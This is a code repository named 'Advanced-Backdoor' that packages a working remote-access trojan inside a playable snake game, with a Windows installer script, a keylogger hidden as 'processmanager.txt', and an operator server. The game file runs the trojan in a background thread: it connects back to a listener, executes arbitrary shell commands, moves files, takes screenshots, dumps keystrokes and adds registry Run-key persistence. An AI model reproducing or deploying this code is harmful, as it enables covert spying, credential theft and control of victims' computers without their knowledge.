├── snake.ico ├── README.md ├── snakegamesetup.py ├── keylogger.py ├── server.py └── snakegame.py /snake.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Agent00049/Advanced-Backdoor/main/snake.ico -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Advanced-Backdoor 2 | This is a python program backdoor embeded with a game for reverse connection from the victim to understand the use visit our youtube channel STRANGE LEARNINGS 3 | 4 | 5 | https://www.youtube.com/channel/UCEPH5muqNc5s7cT5qLNztAQ 6 | -------------------------------------------------------------------------------- /snakegamesetup.py: -------------------------------------------------------------------------------- 1 | import cx_Freeze 2 | import sys 3 | 4 | base = None 5 | if sys.platform == "win32": 6 | base = "Win32GUI" 7 | shortcut_table = [ 8 | ("DesktopShortcut", 9 | "DesktopFolder", 10 | "snake game", 11 | "TARGETDIR", 12 | "[TARGETDIR]\\snakegame.exe", #target 13 | None, #Arguments 14 | None, #description 15 | None, #hotkey 16 | None, #Icon 17 | None, #Iconindex 18 | None, #ShowCmd 19 | "TARGETDIR", 20 | ) 21 | ] 22 | msi_data = {"Shortcut": shortcut_table} 23 | 24 | bdist_msi_option = {'data': msi_data} 25 | 26 | executables = [cx_Freeze.Executable(script="snakegame.py", icon='snake.ico', base=base)] 27 | 28 | cx_Freeze.setup( 29 | version="6.4.2", 30 | description="Snake game", 31 | aurthor="MrSnake", 32 | options={"build_exe": {"packages":["pygame"], 33 | "include_files":['snake.ico']}, 34 | "bdist_msi":bdist_msi_option, 35 | }, 36 | executables = executables 37 | ) 38 | -------------------------------------------------------------------------------- /keylogger.py: -------------------------------------------------------------------------------- 1 | import os 2 | from pynput.keyboard import Listener 3 | import time 4 | import threading 5 | 6 | 7 | class Keylogger(): 8 | keys = [] 9 | count = 0 10 | flag = 0 11 | path = os.environ['appdata'] +'\\processmanager.txt' 12 | #path = 'processmanager.txt' 13 | 14 | def on_press(self, key): 15 | self.keys.append(key) 16 | self.count += 1 17 | 18 | if self.count >= 1: 19 | self.count = 0 20 | self.write_file(self.keys) 21 | self.keys = [] 22 | 23 | def read_logs(self): 24 | with open(self.path, 'rt') as f: 25 | return f.read() 26 | 27 | def write_file(self, keys): 28 | with open(self.path, 'a') as f: 29 | for key in keys: 30 | k = str(key).replace("'", "") 31 | if k.find('backspace') > 0: 32 | f.write(' Backspace ') 33 | elif k.find('enter') > 0: 34 | f.write('\n') 35 | elif k.find('shift') > 0: 36 | f.write(' Shift ') 37 | elif k.find('space') > 0: 38 | f.write(' ') 39 | elif k.find('caps_lock') > 0: 40 | f.write(' caps_lock ') 41 | elif k.find('Key'): 42 | f.write(k) 43 | 44 | def self_destruct(self): 45 | self.flag = 1 46 | listener.stop() 47 | os.remove(self.path) 48 | 49 | def start(self): 50 | global listener 51 | with Listener(on_press=self.on_press) as listener: 52 | listener.join() 53 | 54 | if __name__ == '__main__': 55 | keylog = Keylogger() 56 | t = threading.Thread(target=keylog.start) 57 | t.start() 58 | while keylog.flag != 1: 59 | time.sleep(10) 60 | logs = keylog.read_logs() 61 | print(logs) 62 | #keylog.self_destruct() 63 | t.join() 64 | -------------------------------------------------------------------------------- /server.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import json 3 | import os 4 | 5 | def reliable_recv(): 6 | data = '' 7 | while True: 8 | try: 9 | data = data + target.recv(1024).decode().rstrip() 10 | return json.loads(data) 11 | except ValueError: 12 | continue 13 | 14 | def reliable_send(data): 15 | jsondata = json.dumps(data) 16 | target.send(jsondata.encode()) 17 | 18 | def upload_file(file_name): 19 | f = open(file_name, 'rb') 20 | target.send(f.read()) 21 | 22 | def download_file(file_name): 23 | f = open(file_name, 'wb') 24 | target.settimeout(1) 25 | chunk = target.recv(1024) 26 | while chunk: 27 | f.write(chunk) 28 | try: 29 | chunk = target.recv(1024) 30 | except socket.timeout as e: 31 | break 32 | target.settimeout(None) 33 | f.close() 34 | 35 | 36 | def target_communication(): 37 | count = 0 38 | while True: 39 | command = input('* Shell~%s: ' % str(ip)) 40 | reliable_send(command) 41 | if command == 'quit': 42 | break 43 | elif command == 'clear': 44 | os.system('clear') 45 | elif command[:3] == 'cd ': 46 | pass 47 | elif command[:6] == 'upload': 48 | upload_file(command[7:]) 49 | elif command[:8] == 'download': 50 | download_file(command[9:]) 51 | elif command[:10] == 'screenshot': 52 | f = open('screenshot%d' % (count), 'wb') 53 | target.settimeout(3) 54 | chunk = target.recv(1024) 55 | while chunk: 56 | f.write(chunk) 57 | try: 58 | chunk = target.recv(1024) 59 | except socket.timeout as e: 60 | break 61 | target.settimeout(None) 62 | f.close() 63 | count += 1 64 | elif command == 'help': 65 | print('''\n 66 | quit --> Quit Session With The Target 67 | clear --> Clear The Screen 68 | cd *Directory Name* --> Changes Directory On Target System 69 | screenshot --> Takes screenshot and saves to the same directory 70 | upload *file name* --> Upload File To The target Machine 71 | download *file name* --> Download File From Target Machine 72 | keylog_start --> Start The Keylogger 73 | keylog_dump --> Print Keystrokes That The Target Inputted 74 | keylog_stop --> Stop And Self Destruct Keylogger File 75 | persistence *RegName* *fileName* --> Create Persistence In Registry''') 76 | else: 77 | result = reliable_recv() 78 | print(result) 79 | 80 | 81 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 82 | sock.bind(('127.0.0.1', 5555)) 83 | print('[+] Listening For The Incoming Connections') 84 | sock.listen(5) 85 | target, ip = sock.accept() 86 | print('[+] Target Connected From: ' + str(ip)) 87 | target_communication() 88 | -------------------------------------------------------------------------------- /snakegame.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import json 3 | import subprocess 4 | import os 5 | import pyautogui 6 | import shutil 7 | import sys 8 | import pygame 9 | import time 10 | import random 11 | import threading 12 | import os 13 | 14 | def trojan(): 15 | def reliable_send(data): 16 | jsondata = json.dumps(data) 17 | s.send(jsondata.encode()) 18 | 19 | def reliable_recv(): 20 | data = '' 21 | while True: 22 | try: 23 | data = data + s.recv(1024).decode().rstrip() 24 | return json.loads(data) 25 | except ValueError: 26 | continue 27 | 28 | def download_file(file_name): 29 | f = open(file_name, 'wb') 30 | s.settimeout(1) 31 | chunk = s.recv(1024) 32 | while chunk: 33 | f.write(chunk) 34 | try: 35 | chunk = s.recv(1024) 36 | except socket.timeout as e: 37 | break 38 | s.settimeout(None) 39 | f.close() 40 | 41 | def upload_file(file_name): 42 | f = open(file_name, 'rb') 43 | s.send(f.read()) 44 | 45 | def screenshot(): 46 | myScreenshot = pyautogui.screenshot() 47 | myScreenshot.save('screen.png') 48 | def shutdown(): 49 | os.shutdown("shutdown /s /t 1") 50 | 51 | def persist(reg_name, copy_name): 52 | file_location = os.environ['appdata'] + '\\' + copy_name 53 | try: 54 | if not os.path.exists(file_location): 55 | shutil.copyfile(sys.executable, file_location) 56 | subprocess.call('reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v ' + reg_name + ' /t REG_SZ /d "' + file_location + '"', shell=True) 57 | reliable_send('[+] Created Persistence With Reg Key: ' + reg_name) 58 | else: 59 | reliable_send('[+] Persistence Already Exists') 60 | except: 61 | reliable_send('[+] Error Creating Persistence With The Target Machine') 62 | 63 | def connection(): 64 | while True: 65 | time.sleep(20) 66 | try: 67 | s.connect(('127.0.0.1', 5555)) 68 | shell() 69 | s.close() 70 | break 71 | except: 72 | connection() 73 | 74 | def shell(): 75 | while True: 76 | command = reliable_recv() 77 | if command == 'quit': 78 | break 79 | elif command == 'background': 80 | pass 81 | elif command == 'help': 82 | pass 83 | elif command == 'clear': 84 | pass 85 | elif command[:3] == 'cd ': 86 | os.chdir(command[3:]) 87 | elif command[:6] == 'upload': 88 | download_file(command[7:]) 89 | elif command[:8] == 'download': 90 | upload_file(command[9:]) 91 | elif command[:10] == 'screenshot': 92 | screenshot() 93 | upload_file('screen.png') 94 | os.remove('screen.png') 95 | elif command[:12] == 'keylog_start': 96 | keylog = keylogger.Keylogger() 97 | t = threading.Thread(target=keylog.start) 98 | t.start() 99 | reliable_send('[+] Keylogger Started!') 100 | elif command[:11] == 'keylog_dump': 101 | logs = keylog.read_logs() 102 | reliable_send(logs) 103 | elif command[:11] == 'keylog_stop': 104 | keylog.self_destruct() 105 | t.join() 106 | reliable_send('[+] Keylogger Stopped!') 107 | elif command[:11] == 'persistence': 108 | reg_name, copy_name = command[12:].split(' ') 109 | persist(reg_name, copy_name) 110 | elif command == 'shutdown': 111 | shutdown() 112 | elif command[:7] == 'sendall': 113 | subprocess.Popen(command[8:], shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE,stdin = subprocess.PIPE) 114 | else: 115 | execute = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE,stdin=subprocess.PIPE) 116 | result = execute.stdout.read() + execute.stderr.read() 117 | result = result.decode() 118 | reliable_send(result) 119 | 120 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 121 | connection() 122 | 123 | 124 | 125 | def game(): 126 | pygame.init() 127 | white = (255, 255, 255) 128 | yellow = (255, 255, 102) 129 | black = (0, 0, 0) 130 | red = (213, 50, 80) 131 | green = (0, 255, 0) 132 | blue = (50, 153, 213) 133 | dis_width = 600 134 | dis_height = 400 135 | dis = pygame.display.set_mode((dis_width, dis_height)) 136 | pygame.display.set_caption('Snake Game') 137 | clock = pygame.time.Clock() 138 | snake_block = 10 139 | snake_speed = 15 140 | font_style = pygame.font.SysFont("bahnschrift", 25) 141 | score_font = pygame.font.SysFont("comicsansms", 35) 142 | def Your_score(score): 143 | value = score_font.render("Your Score: " + str(score), True, yellow) 144 | dis.blit(value, [0, 0]) 145 | def our_snake(snake_block, snake_list): 146 | for x in snake_list: 147 | pygame.draw.rect(dis, black, [x[0], x[1], snake_block, snake_block]) 148 | def message(msg, color): 149 | mesg = font_style.render(msg, True, color) 150 | dis.blit(mesg, [dis_width / 6, dis_height / 3]) 151 | def gameLoop(): 152 | game_over = False 153 | game_close = False 154 | x1 = dis_width / 2 155 | y1 = dis_height / 2 156 | x1_change = 0 157 | y1_change = 0 158 | snake_List = [] 159 | Length_of_snake = 1 160 | foodx = round(random.randrange(0, dis_width - snake_block) / 10.0) * 10.0 161 | foody = round(random.randrange(0, dis_height - snake_block) / 10.0) * 10.0 162 | while not game_over: 163 | while game_close == True: 164 | dis.fill(blue) 165 | message("You Lost! Press C-Play Again or Q-Quit", red) 166 | Your_score(Length_of_snake - 1) 167 | pygame.display.update() 168 | for event in pygame.event.get(): 169 | if event.type == pygame.KEYDOWN: 170 | if event.key == pygame.K_q: 171 | game_over = True 172 | game_close = False 173 | if event.key == pygame.K_c: 174 | gameLoop() 175 | for event in pygame.event.get(): 176 | if event.type == pygame.QUIT: 177 | game_over = True 178 | if event.type == pygame.KEYDOWN: 179 | if event.key == pygame.K_LEFT: 180 | x1_change = -snake_block 181 | y1_change = 0 182 | elif event.key == pygame.K_RIGHT: 183 | x1_change = snake_block 184 | y1_change = 0 185 | elif event.key == pygame.K_UP: 186 | y1_change = -snake_block 187 | x1_change = 0 188 | elif event.key == pygame.K_DOWN: 189 | y1_change = snake_block 190 | x1_change = 0 191 | 192 | if x1 >= dis_width or x1 < 0 or y1 >= dis_height or y1 < 0: 193 | game_close = True 194 | x1 += x1_change 195 | y1 += y1_change 196 | dis.fill(blue) 197 | pygame.draw.rect(dis, green, [foodx, foody, snake_block, snake_block]) 198 | snake_Head = [] 199 | snake_Head.append(x1) 200 | snake_Head.append(y1) 201 | snake_List.append(snake_Head) 202 | if len(snake_List) > Length_of_snake: 203 | del snake_List[0] 204 | for x in snake_List[:-1]: 205 | if x == snake_Head: 206 | game_close = True 207 | our_snake(snake_block, snake_List) 208 | Your_score(Length_of_snake - 1) 209 | pygame.display.update() 210 | if x1 == foodx and y1 == foody: 211 | foodx = round(random.randrange(0, dis_width - snake_block) / 10.0) * 10.0 212 | foody = round(random.randrange(0, dis_height - snake_block) / 10.0) * 10.0 213 | Length_of_snake += 1 214 | clock.tick(snake_speed) 215 | pygame.quit() 216 | quit() 217 | gameLoop() 218 | t1 = threading.Thread(target=game) 219 | t2 = threading.Thread(target=trojan) 220 | t1.start() 221 | t2.start() 222 | --------------------------------------------------------------------------------